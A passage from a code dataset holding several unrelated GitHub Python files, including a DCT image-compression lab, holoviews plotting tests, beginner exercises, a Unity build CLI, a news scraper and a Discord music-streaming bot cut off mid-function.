semester/resource-optimization/lab-4.py","file_name":"lab-4.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"18940760009","text":"import sys\nfrom math import cos, pi, sqrt\nimport numpy as np\nfrom PIL import Image, ImageOps\nfrom time import perf_counter\nimport torch\n\nfrom DCT_Tests_Parallel import ProcessorDCT2_parallel, ProcessorDCT_parallel\n\n\ndef GPUCheck():\n if torch.cuda.is_available():\n device = torch.device(\"cuda\")\n else:\n device = torch.device(\"cpu\")\n print(f'The device used is: {device}')\n \n torch.cuda.synchronize()\n\n\ndef Multiplication(m1, m2):\n if not isinstance(m1, np.ndarray):\n m1 = np.array(m1)\n if not isinstance(m2,np.ndarray):\n m2 = np.array(m2)\n\n m1 = torch.from_numpy(m1)\n m1 = m1.double()\n m2 = torch.from_numpy(m2)\n m2 = m2.double()\n newmatrix = torch.matmul(m1, m2) # torch.Size([m, j])\n newmatrix = newmatrix.numpy()\n return newmatrix\n\ndef HadamardProduct(m1,m2):\n\n if not isinstance(m1,np.ndarray):\n m1 = np.array(m1)\n if not isinstance(m2,np.ndarray):\n m2 = np.array(m2)\n \n m1 = torch.from_numpy(m1)\n m2 = torch.from_numpy(m2)\n hadamard = m1 * m2\n hadamard = hadamard.numpy()\n return hadamard\n\n# Function to convert image to greyscale\ndef ConvertGreyscale(Path:str):\n Img = Image.open(Path)\n Grey = ImageOps.grayscale(Img)\n Grey.show(\"Original Greyscale Image\")\n GreyArr = np.array(Grey)\n return GreyArr\n\n# Function to create the DCT matrix.\n# Refer to workshop document for explanation about how the matrix is made.\ndef CreateDCTMatrix(Size):\n L1 = Size\n Res = []\n for i in range(L1):\n Res.append([])\n for j in range(L1):\n Res[i].append(sqrt(2/Size)*cos((pi*(2*j + 1)*i)/(2*L1)))\n Res = np.array(Res)\n Res[0] = Res[0]*sqrt(1/2)\n return Res\n\ndef CreateQuantizationMatrix(Size, Quality):\n Res = []\n ScaleFactor = 1/(Size**(Quality/25))\n for i in range(Size):\n Res.append([])\n for j in range(Size):\n Res[i].append(1/(ScaleFactor*(i+j)**2+1))\n return Res\n\n# Function to partition image into square matrices of dimensions (Size x Size)\n# With size of 8 the return value is a matrix of matrices,\n# Where for example the matrix at (0,0) has the values from (0:7, 0:7)\n# The matrix at (0,1) has the values from (0:7, 8:15) and matrix at (1,1) has values from (8:15,8:15) etc.\ndef PartitionImage(ImageMatrix:np.ndarray, Size):\n # Check that the row dimension of the matrix is divisible by Size\n if ImageMatrix.shape[0]%Size != 0:\n print(f'The row dimension is not divisible by {Size}')\n return ImageMatrix\n else:\n Res = []\n for i in range(ImageMatrix.shape[0]//Size):\n Res.append([])\n # Check that the column dimension of the matrix is divisible by Size\n if ImageMatrix.shape[1]%Size != 0:\n print(f'The column dimension in row {i} is not divisible by {Size}')\n return ImageMatrix\n else:\n # Create the sub-matrices by literally taking a sub-matrix out of the image\n for j in range(ImageMatrix.shape[1]//Size):\n Partition = ImageMatrix[i*Size:(i+1)*Size, j*Size:(j+1)*Size]\n Res[i].append(Partition)\n return Res\n\n# This undos what the above function does, by going through the matrices in the matrix and expanding their elements out\ndef UnpartitionImage(PartitionedMatrix, Size):\n Res = []\n for m in range(len(PartitionedMatrix)):\n # Create the rows beforehand, so that we just append the values to them to expand the sub-matrices\n for _ in range(Size): Res.append([])\n for n in range(len(PartitionedMatrix[m])):\n # Check that the row dimension of the sub-matrix is divisible by Size\n if PartitionedMatrix[m][n].shape[0] != Size:\n print(f'Row dimension if sub-matrix in ({m},{n}) does not match {Size}')\n return PartitionedMatrix\n else:\n for i in range(Size):\n # Check that the column dimension of the sub-matrix is divisible by Size\n if PartitionedMatrix[m][n].shape[1] != Size:\n print(f'Column dimension if sub-matrix in ({m},{n}) does not match {Size}')\n return PartitionedMatrix\n else:\n for j in range(Size):\n Res[(m*Size+i)].append(PartitionedMatrix[m][n][i][j])\n return Res\n\n# This is the function that does the transformation. It also does compression by quantization.\ndef ProcessorDCT2(DCT, Image, Size, QuantizationMatrix):\n Image = np.array(Image)\n # Partition the image to sub-matrices of dimension (Size, Size)\n Partitioned = PartitionImage(Image, Size)\n PartitionedTransformed = [] # Matrix to include the transformed sub-matrices\n for i in range(len(Partitioned)):\n PartitionedTransformed.append([])\n # Go through all sub-matrices and DCT transform them then quantize them.\n for j in range(len(Partitioned[i])):\n #Arr = (DCT@Partitioned[i][j]@DCT)*QuantizationMatrix\n Arr = Multiplication(DCT, Partitioned[i][j]) # multiplies the DCT matrixes with the 8 x 8 blocks\n #print(Arr)\n Arr = Multiplication(Arr, DCT.transpose()) # multiplies the tranformed image matrix with the transposed DCT matrix\n Arr = HadamardProduct(Arr,QuantizationMatrix)\n #Arr = (DCT@Partitioned[i][j])*QuantizationMatrix\n #Arr = (Partitioned[i][j]@DCT) * QuantizationMatrix\n #print(Arr)\n #Arr = np.array(Arr)\n Arr = np.round(Arr, 0)\n PartitionedTransformed[i].append(Arr)\n # Expand the transformed sub-matrices\n UnpartitionedTransformed = UnpartitionImage(PartitionedTransformed, Size)\n return UnpartitionedTransformed\n\n# Does exactly the same as above, but it does not quantize.\ndef ProcessorDCT(DCT, Image, Size):\n Image = np.array(Image)\n Partitioned = PartitionImage(Image, Size)\n PartitionedTransformed = []\n for i in range(len(Partitioned)):\n PartitionedTransformed.append([])\n for j in range(len(Partitioned[i])):\n PartitionedTransformed[i].append(DCT@Partitioned[i][j]@DCT)\n UnpartitionedTransformed = UnpartitionImage(PartitionedTransformed, Size)\n return UnpartitionedTransformed\n\n# Does exactly as ProcessorDCT2 if you passed the IDCT to it instead. You can use ProcessorDCT2 for both DCT and IDCT\ndef ProcessorIDCT(IDCT, Image, Size):\n Image = np.array(Image)\n Partitioned = PartitionImage(Image, Size)\n PartitionedTransformed = []\n for i in range(len(Partitioned)):\n PartitionedTransformed.append([])\n for j in range(len(Partitioned[i])):\n #Arr = IDCT@Partitioned[i][j]@IDCT\n #Arr = IDCT@Partitioned[i][j]@IDCT.transpose()\n Arr = Multiplication(IDCT, Partitioned[i][j])\n Arr = Multiplication(Arr, IDCT.transpose())\n #Arr = IDCT@Partitioned[i][j]\n #Arr = Partitioned[i][j]@IDCT\n Arr = np.round(Arr, 0)\n PartitionedTransformed[i].append(Arr)\n UnpartitionedTransformed = UnpartitionImage(PartitionedTransformed, Size)\n return UnpartitionedTransformed\n\n# Test to see if quantization worked\ndef Test3(Path, BlockSize, Quality):\n Img = ConvertGreyscale(Path)\n # Get original resolution so that we can remove any appended pixels at the end\n OriginalRes = Img.shape\n Correct = False # True if appended pixels need to be removed\n PartitionSize = BlockSize\n # Check if the row and column dimensions of the image are divisible by the partition size.\n # If not, append black pixels so that they are.\n if Img.shape[0]%PartitionSize != 0 or Img.shape[1]%PartitionSize != 0:\n Correct = True\n NewRow = (Img.shape[0]//PartitionSize+1)*PartitionSize\n NewCol = (Img.shape[1]//PartitionSize+1)*PartitionSize\n ZeroArr = np.zeros((NewRow,NewCol))\n ZeroArr[:Img.shape[0], :Img.shape[1]] = Img\n Img = ZeroArr\n # Create DCT and Quantization matrix\n DCT = CreateDCTMatrix(PartitionSize)\n QuantizationMatrix = CreateQuantizationMatrix(BlockSize, Quality)\n # Transform and compress the image then inverse transform it\n Time1 = perf_counter()\n Transformed = ProcessorDCT2(DCT, Img, PartitionSize, QuantizationMatrix)\n Time2 = perf_counter()\n Inversed = ProcessorIDCT(DCT.transpose(), Transformed, PartitionSize)\n Time3 = perf_counter()\n print(f'Time taken to transform {Time2-Time1}\\nTime taken to invert {Time3-Time2}\\nTime for both {Time3-Time1}')\n # Convert the results into numpy arrays and then into pillow images\n Res = Image.fromarray(np.array(Transformed))\n Res2 = Image.fromarray(np.array(Inversed))\n # Show the DCT transformaed image, and then remove appended pixels if needed and show inversed image\n Res.show(\"DCT Transformed Image\")\n if Correct:\n CorrectedInversed = np.array(Inversed)[:OriginalRes[0], :OriginalRes[1]]\n Res3 = Image.fromarray(CorrectedInversed)\n Res3.show(\"Corrected Compressed Image\")\n else:\n Res2.show(\"Compressed Image\")\n\n\nif __name__ == \"__main__\":\n t1_start = perf_counter()\n GPUCheck()\n Test3(\"cat.jpg\", 64, 25)\n","repo_name":"Mast3rwaf1z/notes","sub_path":"4th_semester/High_performance_programming/exam/src/Exercise2/DCT_CUDA.py","file_name":"DCT_CUDA.py","file_ext":"py","file_size_in_byte":9283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12096520455","text":"import numpy as np\n\nfrom holoviews.element import (\n HLine, VLine, Text, Labels, Arrow, HSpan, VSpan, Slope\n)\n\nfrom .testplot import TestBokehPlot, bokeh_renderer\n\n\nclass TestHVLinePlot(TestBokehPlot):\n\n def test_hline_invert_axes(self):\n hline = HLine(1.1).opts(invert_axes=True)\n plot = bokeh_renderer.get_plot(hline)\n span = plot.handles['glyph']\n self.assertEqual(span.dimension, 'height')\n self.assertEqual(span.location, 1.1)\n\n def test_hline_plot(self):\n hline = HLine(1.1)\n plot = bokeh_renderer.get_plot(hline)\n span = plot.handles['glyph']\n self.assertEqual(span.dimension, 'width')\n self.assertEqual(span.location, 1.1)\n\n def test_vline_invert_axes(self):\n vline = VLine(1.1).opts(invert_axes=True)\n plot = bokeh_renderer.get_plot(vline)\n span = plot.handles['glyph']\n self.assertEqual(span.dimension, 'width')\n self.assertEqual(span.location, 1.1)\n\n def test_vline_plot(self):\n vline = VLine(1.1)\n plot = bokeh_renderer.get_plot(vline)\n span = plot.handles['glyph']\n self.assertEqual(span.dimension, 'height')\n self.assertEqual(span.location, 1.1)\n\n\nclass TestHVSpanPlot(TestBokehPlot):\n \n def test_hspan_invert_axes(self):\n hspan = HSpan(1.1, 1.5).opts(invert_axes=True)\n plot = bokeh_renderer.get_plot(hspan)\n span = plot.handles['glyph']\n\n self.assertEqual(span.left, 1.1)\n self.assertEqual(span.right, 1.5)\n self.assertEqual(span.bottom, None)\n self.assertEqual(span.top, None)\n\n def test_hspan_plot(self):\n hspan = HSpan(1.1, 1.5)\n plot = bokeh_renderer.get_plot(hspan)\n span = plot.handles['glyph']\n self.assertEqual(span.left, None)\n self.assertEqual(span.right, None)\n self.assertEqual(span.bottom, 1.1)\n self.assertEqual(span.top, 1.5)\n\n def test_vspan_invert_axes(self):\n vspan = VSpan(1.1, 1.5).opts(invert_axes=True)\n plot = bokeh_renderer.get_plot(vspan)\n span = plot.handles['glyph']\n self.assertEqual(span.left, None)\n self.assertEqual(span.right, None)\n self.assertEqual(span.bottom, 1.1)\n self.assertEqual(span.top, 1.5)\n\n def test_vspan_plot(self):\n vspan = VSpan(1.1, 1.5)\n plot = bokeh_renderer.get_plot(vspan)\n span = plot.handles['glyph']\n self.assertEqual(span.left, 1.1)\n self.assertEqual(span.right, 1.5)\n self.assertEqual(span.bottom, None)\n self.assertEqual(span.top, None)\n\n\n\nclass TestSlopePlot(TestBokehPlot):\n\n def test_slope(self):\n hspan = Slope(2, 10)\n plot = bokeh_renderer.get_plot(hspan)\n slope = plot.handles['glyph']\n self.assertEqual(slope.gradient, 2)\n self.assertEqual(slope.y_intercept, 10)\n\n def test_slope_invert_axes(self):\n hspan = Slope(2, 10).opts(invert_axes=True)\n plot = bokeh_renderer.get_plot(hspan)\n slope = plot.handles['glyph']\n self.assertEqual(slope.gradient, 0.5)\n self.assertEqual(slope.y_intercept, -5)\n \n\n\nclass TestTextPlot(TestBokehPlot):\n\n def test_text_plot(self):\n text = Text(0, 0, 'Test')\n plot = bokeh_renderer.get_plot(text)\n source = plot.handles['source']\n self.assertEqual(source.data, {'x': [0], 'y': [0], 'text': ['Test']})\n\n def test_text_plot_fontsize(self):\n text = Text(0, 0, 'Test', fontsize=18)\n plot = bokeh_renderer.get_plot(text)\n glyph = plot.handles['glyph']\n self.assertEqual(glyph.text_font_size, '18Pt')\n\n def test_text_plot_rotation(self):\n text = Text(0, 0, 'Test', rotation=90)\n plot = bokeh_renderer.get_plot(text)\n glyph = plot.handles['glyph']\n self.assertEqual(glyph.angle, np.pi/2.)\n\n def test_text_plot_rotation_style(self):\n text = Text(0, 0, 'Test').options(angle=90)\n plot = bokeh_renderer.get_plot(text)\n glyph = plot.handles['glyph']\n self.assertEqual(glyph.angle, np.pi/2.)\n\n\nclass TestArrowPlot(TestBokehPlot):\n\n def _compare_arrow_plot(self, plot, start, end):\n print(plot.handles)\n arrow_glyph = plot.handles['arrow_1_glyph']\n arrow_cds = plot.handles['arrow_1_source']\n label_glyph = plot.handles['text_1_glyph']\n \n label_cds = plot.handles['text_1_source']\n x0, y0 = start\n x1, y1 = end\n self.assertEqual(label_glyph.x, 'x')\n self.assertEqual(label_glyph.y, 'y')\n self.assertEqual(label_cds.data, {'x': [x0], 'y': [y0], 'text': ['Test']})\n self.assertEqual(arrow_glyph.x_start, 'x_start')\n self.assertEqual(arrow_glyph.y_start, 'y_start')\n self.assertEqual(arrow_glyph.x_end, 'x_end')\n self.assertEqual(arrow_glyph.y_end, 'y_end')\n self.assertEqual(arrow_cds.data, {'x_start': [x0], 'x_end': [x1],\n 'y_start': [y0], 'y_end': [y1]})\n\n def test_arrow_plot_left(self):\n arrow = Arrow(0, 0, 'Test')\n plot = bokeh_renderer.get_plot(arrow)\n self._compare_arrow_plot(plot, (1/6., 0), (0, 0))\n\n def test_arrow_plot_up(self):\n arrow = Arrow(0, 0, 'Test', '^')\n plot = bokeh_renderer.get_plot(arrow)\n self._compare_arrow_plot(plot, (0, -1/6.), (0, 0))\n\n def test_arrow_plot_right(self):\n arrow = Arrow(0, 0, 'Test', '>')\n plot = bokeh_renderer.get_plot(arrow)\n self._compare_arrow_plot(plot, (-1/6., 0), (0, 0))\n\n def test_arrow_plot_down(self):\n arrow = Arrow(0, 0, 'Test', 'v')\n plot = bokeh_renderer.get_plot(arrow)\n self._compare_arrow_plot(plot, (0, 1/6.), (0, 0))\n\n\nclass TestLabelsPlot(TestBokehPlot):\n\n def test_labels_plot(self):\n text = Labels([(0, 0, 'Test')])\n plot = bokeh_renderer.get_plot(text)\n source = plot.handles['source']\n data = {'x': np.array([0]), 'y': np.array([0]), 'Label': ['Test']}\n for c, col in source.data.items():\n self.assertEqual(col, data[c])\n\n def test_labels_plot_rotation_style(self):\n text = Labels([(0, 0, 'Test')]).options(angle=90)\n plot = bokeh_renderer.get_plot(text)\n glyph = plot.handles['glyph']\n self.assertEqual(glyph.angle, np.pi/2.)\n","repo_name":"bradleyhrc/glucose-dashboard","sub_path":"lib/python3.8/site-packages/holoviews/tests/plotting/bokeh/testannotationplot.py","file_name":"testannotationplot.py","file_ext":"py","file_size_in_byte":6303,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"25942286621","text":"def mini_ex():\r\n #ex :\r\n numbers = [1, 2, 3, 4, 5]\r\n numbers = [n * n for n in numbers]\r\n print(numbers)\r\n\r\n #ex : [(1, 2), (2, 3), (3, 4), (4, 5), (5, 6)]\r\n numbers = [(i, i + 1) for i in range(1,6)]\r\n print(numbers)\r\n\r\n #ex : \r\n numbers = {i for i in range(0,1001) if i % 3 == 0 and i % 7 == 0}\r\n print(numbers)\r\n\r\n\r\n#exercise answers : \r\ndef words_length(sentence : str):\r\n return [len(w) for w in sentence.split(' ')]\r\n\r\nprint(words_length(\"Toto, I've a feeling we're not in Kansas anymore\"))\r\n\r\n\r\ndef get_letters():\r\n return [\r\n chr(w) for w in range(66,122) if w != 90 and w != 97 and chr(w).isalpha()\r\n ]\r\n\r\nprint(get_letters())\r\n\r\n\r\ndef count_words (text : str):\r\n words = [''.join([x for x in w if x.isalpha()]) for w in text.split(' ')]\r\n dic = {word : len(word) for word in words}\r\n return dic\r\n\r\ntext = \"\"\"\r\nYou see, wire telegraph is a kind of a very, very long cat.\r\nYou pull his tail in New York and his head is meowing in Los Angeles.\r\nDo you understand this?\r\nAnd radio operates exactly the same way: you send signals here, they receive them there.\r\nThe only difference is that there is no cat.\r\n\"\"\"\r\n\r\nprint(count_words(text))\r\n\r\n\r\ndef full_names(fnames : list[str], lnames : list[str], minlen = 0):\r\n return [\r\n f\"{f} {l}\" for f in fnames\r\n for l in lnames \r\n if len(f\"{f}{l}\") >= minlen\r\n ]\r\n \r\nfirst_names = ['avi', 'moshe', 'yaakov']\r\nlast_names = ['cohen', 'levi', 'mizrahi']\r\n\r\nprint(full_names(first_names, last_names, 10))","repo_name":"Daniel-WORK-GH/python_learning_progress","sub_path":"week 6/3_Comprehensions.py","file_name":"3_Comprehensions.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38286209808","text":"num = 1\nden = 1\n\n# counter\ncounter = 0\n\n# 1000 iterations\nfor i in range(1000):\n num1 = num + 2*den\n den1 = num + den\n if len(str(num1)) > len(str(den1)):\n counter += 1\n num = num1\n den = den1\n\n# printing the counter\nprint(counter)","repo_name":"Kabiirk/Project-Euler-Solutions","sub_path":"0057/square_root_convergents.py","file_name":"square_root_convergents.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6722701917","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n' my first module '\n\n__author__ = 'CGFT'\n\nimport sys\n\ndef hello_method():\n args = sys.argv\n if len(args)==1:\n print('Hello, world!')\n elif len(args)==2:\n print('Hello, %s!' % args[1])\n else:\n print('Too many arguments!')\n\nif __name__=='__main__':\n hello_method()","repo_name":"Zhangxiaozhe18/CGFT_Python_L1_Syllabus","sub_path":"Python_CPT11/mymodule/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2816961800","text":"from dataclasses import dataclass\nimport logging\nimport logging.config\nimport os\nfrom os import path\nimport shutil\nfrom typing import List, Optional\n\nimport click\nimport dotenv\n\nfrom .build import detect_unity, build_def, unity, build_data\nfrom . import steps, config\nfrom . import nuget as _nuget\n\nVERSION = \"#{TAG_NAME}#\"\n\n\nclass ToriiCliContext:\n def __init__(self, cfg: config.ToriiCliConfig, project_path: str) -> None:\n self.cfg = cfg\n\n # if the project path is not absolute, we need to make it so, as\n # Unity expects it to be absolute\n if not path.isabs(project_path):\n project_path = path.abspath(project_path)\n\n self.project_path = project_path\n self.project_name = path.basename(project_path)\n\n\npass_ctx = click.make_pass_decorator(ToriiCliContext)\n\nSUBCOMMANDS_DONT_LOAD_CONFIG = [\"new\"]\n\"\"\"These subcommands shouldn't load config -- it may not exist beforehand.\"\"\"\n\nCONTEXT_SETTINGS = dict(help_option_names=[\"-h\", \"--help\"])\n\"\"\"Context settings for Click CLI.\"\"\"\n\n\n@click.group(context_settings=CONTEXT_SETTINGS)\n@click.version_option(VERSION, \"--version\", \"-v\")\n@click.option(\"--project-path\",\n \"-p\",\n required=False,\n type=str,\n default=os.getcwd(),\n show_default=True,\n help=\"The project directory.\")\n@click.pass_context\ndef toriicli(ctx, project_path):\n \"\"\"CLI utility for the Unity Torii library.\"\"\"\n config.setup_logging()\n if ctx.invoked_subcommand not in SUBCOMMANDS_DONT_LOAD_CONFIG:\n cfg = config.from_yaml(config.CONFIG_NAME)\n if cfg is None:\n raise SystemExit(1)\n\n ctx.obj = ToriiCliContext(cfg, cfg.actual_project_dir or project_path)\n\n\n@toriicli.command()\n@click.argument(\"version\", nargs=1, default=None, required=False)\n@pass_ctx\ndef find(ctx: ToriiCliContext, version):\n \"\"\"Print the path to the Unity executable. You can optionally specify a\n specific Unity VERSION to attempt to find.\"\"\"\n exe_path = detect_unity.find_unity_executable(\n version or ctx.cfg.unity_preferred_version)\n if exe_path is not None:\n logging.info(exe_path)\n else:\n raise SystemExit(1)\n\n\n@toriicli.command()\n@click.argument(\"project_path\", nargs=1, default=os.getcwd(), required=False)\n@click.option(\"--force\",\n \"-f\",\n is_flag=True,\n help=\"Create the project even if one already existed.\")\ndef new(project_path, force):\n \"\"\"Create a new Torii project in PROJECT_PATH. If not specified, will use\n the current working directory as the project path. Will not overwrite an\n existing project.\"\"\"\n out_file_path = config.create_config(project_path, exist_ok=force)\n nuget_out_file_path = _nuget.create_config(project_path, exist_ok=force)\n\n if out_file_path is None or nuget_out_file_path is False:\n logging.error(\n f\"Could not create project in {project_path}, \"\n f\"Some required files already existed. If you wanted this and are \"\n \"okay with these files being overwritten, try running again with \"\n \"--force.\")\n raise SystemExit(1)\n\n logging.info(f\"Created new Torii project: {out_file_path}\")\n\n\n@toriicli.command()\n@click.option(\n \"--option\",\n \"-o\",\n help=\"Will run post-steps with this option in the filter. Allows multiple.\",\n multiple=True)\n@click.option(\"--no-unity\", is_flag=True, help=\"Don't run the Unity build.\")\n@click.option(\"--no-clean\", is_flag=True, help=\"Don't clean up afterwards.\")\n@pass_ctx\ndef build(ctx: ToriiCliContext, option: List[str], no_unity: bool,\n no_clean: bool):\n \"\"\"Build a Torii project.\"\"\"\n dotenv.load_dotenv() # for loading credentials\n\n # first, make sure we can find the Unity executable\n logging.info(\"Finding Unity executable...\")\n exe_path = ctx.cfg.unity_executable_path or detect_unity.find_unity_executable(\n ctx.cfg.unity_preferred_version)\n if exe_path is None:\n logging.critical(\"Unable to find Unity executable.\")\n raise SystemExit(1)\n if not path.exists(exe_path):\n logging.critical(f\"Unity executable not found at: {exe_path}\")\n raise SystemExit(1)\n logging.info(f\"Found Unity at: {exe_path}\")\n\n # now, generate the build_defs so Unity can build from them\n logging.info(f\"Generating {build_def.BUILD_DEFS_FILENAME}...\")\n success = build_def.generate_build_defs(ctx.project_path,\n ctx.cfg.build_output_folder,\n ctx.cfg.build_defs)\n if not success:\n raise SystemExit(1)\n\n # run Unity to build game\n if not no_unity:\n builder = unity.UnityBuilder(exe_path)\n success, exit_code = builder.build(ctx.project_path,\n ctx.cfg.unity_build_execute_method)\n if not success:\n logging.critical(f\"Unity failed with exit code: {exit_code}\")\n raise SystemExit(1)\n\n logging.info(\"Build success\")\n\n logging.info(\"Collecting completed builds...\")\n\n # now, collect info on the completed builds (build number etc.), and\n # run post-steps\n for bd in ctx.cfg.build_defs:\n output_folder = path.join(ctx.project_path,\n ctx.cfg.build_output_folder)\n build_info = build_data.collect_finished_build(output_folder, bd)\n if build_info is None:\n logging.error(f\"Unable to find build for target {bd.target}\")\n continue\n\n logging.info(f\"Found version {build_info.build_number} for target \"\n f\"{build_info.build_def.target} at {build_info.path}\")\n\n # build steps implicitly have an import step as the first step, to\n # import the files from the build directory into the workspace\n steps_to_run = [\n steps.import_step.ImportStep(\"**\",\n vars(build_info),\n None,\n backend=\"local\",\n container=build_info.path)\n ]\n\n # get the steps we're running for this build def, based on the filters\n try:\n logging.info(\"Collecting post-steps...\")\n for step in ctx.cfg.build_post_steps:\n if step.filter is None or step.filter.match(bd, option):\n steps_to_run.append(\n step.get_implementation(vars(build_info)))\n\n logging.info(\"Running post-steps for build...\")\n # now run each of the steps\n for i, step in enumerate(steps_to_run):\n # make sure we import the workspace of the step before this\n if i != 0:\n step.use_workspace(steps_to_run[i - 1])\n\n step.perform()\n finally:\n # now clean up all the steps we ran\n [step.cleanup() for step in steps_to_run]\n logging.info(\"Finished running post steps! Build complete\")\n\n # clean up after the build, remove build defs and build output folder\n if not no_clean:\n try:\n build_def.remove_generated_build_defs(ctx.project_path)\n shutil.rmtree(path.join(ctx.project_path,\n ctx.cfg.build_output_folder),\n ignore_errors=True)\n except OSError:\n logging.exception(\"Unable to clean up after build\")\n raise SystemExit(1)\n\n\n@toriicli.command()\n@click.argument(\"version\", nargs=1, type=str)\n@click.option(\"--target\",\n \"-t\",\n help=\"Only release specific targets. Allows multiple.\",\n multiple=True)\n@click.option(\n \"--option\",\n \"-o\",\n help=\"Will run steps with this option in the filter. Allows multiple.\",\n multiple=True)\n@pass_ctx\ndef release(ctx: ToriiCliContext, version: str, target: List[str],\n option: List[str]):\n \"\"\"Release VERSION of Torii project.\"\"\"\n dotenv.load_dotenv() # for loading credentials\n\n logging.info(f\"Releasing version {version}\")\n\n # we want to release each build definition defined\n for bd in ctx.cfg.build_defs:\n # skip this build def if it's not defined in the option\n if len(target) > 0 and bd.target not in target:\n continue\n\n logging.info(f\"Running release for target {bd.target}\")\n\n step_context = {\"build_number\": version, \"build_def\": bd}\n steps_to_run = []\n try:\n logging.info(\"Collecting steps...\")\n\n for step in ctx.cfg.release_steps:\n if step.filter is None or step.filter.match(bd, option):\n steps_to_run.append(step.get_implementation(step_context))\n\n logging.info(\"Running steps for release...\")\n # now run each of the steps\n for i, step in enumerate(steps_to_run):\n # make sure we import the workspace of the step before this\n if i != 0:\n step.use_workspace(steps_to_run[i - 1])\n\n step.perform()\n finally:\n # now clean up all the steps we ran\n [step.cleanup() for step in steps_to_run]\n logging.info(\"Finished running steps! Release complete\")\n\n\n@toriicli.group()\n@pass_ctx\ndef nuget(ctx: ToriiCliContext):\n \"\"\"Manage NuGet packages for project.\"\"\"\n\n\n@nuget.command()\n@pass_ctx\ndef restore(ctx: ToriiCliContext):\n \"\"\"Run a NuGet restore for this project.\"\"\"\n success = _nuget.restore_packages(ctx.project_path, ctx.project_name,\n ctx.cfg.nuget_package_install_path)\n raise SystemExit(0 if success else 1)\n\n\n@nuget.command()\n@click.argument(\"package\", nargs=1, type=str)\n@click.option(\n \"--version\",\n \"-v\",\n nargs=1,\n type=str,\n default=None,\n help=\n \"The version of the package to install. If not present, installs latest.\")\n@pass_ctx\ndef install(ctx: ToriiCliContext, package: str, version: Optional[str]):\n \"\"\"Install a NuGet package to this project.\"\"\"\n success = _nuget.install_package(ctx.project_path, package, version,\n ctx.cfg.unity_dotnet_framework_version,\n ctx.cfg.nuget_package_install_path)\n raise SystemExit(0 if success else 1)\n\n\n@nuget.command()\n@click.argument(\"package\", nargs=1, type=str)\n@pass_ctx\ndef uninstall(ctx: ToriiCliContext, package: str):\n \"\"\"Uninstall a NuGet package from this project.\"\"\"\n success = _nuget.uninstall_package(ctx.project_path, package,\n ctx.cfg.nuget_package_install_path)\n raise SystemExit(0 if success else 1)\n","repo_name":"figglewatts/toriicli","sub_path":"toriicli/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":10734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29075367363","text":"import pandas as pd\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n\ndata = dict()\ndata['news_headlines'] = []\ndata['post_date'] = []\ndata['news_summary'] = []\ndata['news_link'] = []\ndata['news_content'] = []\n\n# selenium\n# print(extract_news('https://www.moneycontrol.com/news/photos/business/stocks/bajaj-auto-tata-motors-among-7-stocks-forming-golden-cross-pattern-heres-what-it-means-6070421.html'))\n\nurl = 'https://www.moneycontrol.com/news/business/markets/'\n# url = 'https://www.moneycontrol.com/news/business/stocks/'\n\nresponse = requests.get(url)\n\nsoup = BeautifulSoup(response.text, 'html.parser')\n\n\nul_tags = soup.find_all('ul', {'id':'cagetory'})\n\nli_tags = ul_tags[0].find_all('li')\n\ndef extract_news(link_article):\n response = requests.get(link_article)\n soup = BeautifulSoup(response.text, 'html.parser')\n news = soup.find_all('div', {'id': 'article-main'})\n paragraphs = ''\n \n if len(news) > 0:\n news = news[0]\n p_tags = news.find_all('p')\n \n for p in p_tags:\n paragraphs += p.text + '\\n'\n \n return paragraphs\n\n\nfor li in li_tags:\n if len(li.text.strip()) >= 1:\n a = li.find_all('a')[0]\n p = li.find_all('p')[0]\n span = li.find_all('span')[0]\n date = span.text.replace('IST', '')\n article_text = extract_news(a['href'])\n data['news_headlines'].append(a['title'])\n data['post_date'].append(date)\n data['news_summary'].append(p.text)\n data['news_link'].append(a['href'])\n data['news_content'].append(article_text)\n\n\ndata = pd.DataFrame(data) \n# df = pd.append([data, df], axis = 1)\ndata.to_csv('./data/news.csv', index = False) \n \n","repo_name":"raviranjan0631/Stock-Cloud","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16442339045","text":"import discord\nimport os\nimport youtube_dlc\nfrom .song import Song\nfrom collections import deque\n\n\nclass Streamer:\n def __init__(self, bot, client):\n self.bot = bot\n self.client = client\n self.queue = deque()\n self.current_song = None\n\n async def add_to_queue(self, query_string: str) -> Song:\n song = Song()\n # Check if query string is YT link\n if query_string.startswith('https://www.youtube.com/'):\n song.page_url = query_string\n # Or search with youtube_dlc otherwise\n else:\n options = {\n 'format': 'bestaudio/best',\n 'default_search': 'auto',\n 'noplaylist': True\n }\n with youtube_dlc.YoutubeDL(options) as ydl:\n yt_entry = ydl.extract_info(query_string, download=False)\n video_id = yt_entry['entries'][0]['id']\n song.page_url = 'https://www.youtube.com/watch?v={}'.format(\n video_id)\n downloader = youtube_dlc.YoutubeDL(\n {'format': 'bestaudio', 'title': True})\n yt_entry = downloader.extract_info(song.page_url, download=False)\n song.file_url = yt_entry.get('url')\n song.uploader = yt_entry.get('uploader')\n song.title = yt_entry.get('title')\n song.duration = yt_entry.get('duration')\n song.page_url = yt_entry.get('webpage_url')\n self.queue.append(song)\n if self.current_song is None:\n self.try_play_next_song()\n return song\n\n async def play_song(self, song: Song):\n ffmpeg = os.path.join(os.path.dirname(__file__), '..', 'ffmpeg')\n self.client.play(discord.FFmpegPCMAudio(song.file_url, executable=ffmpeg,\n before_options='-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5'),\n after=lambda error: self.try_play_next_song())\n\n def try_play_next_song(self):\n if 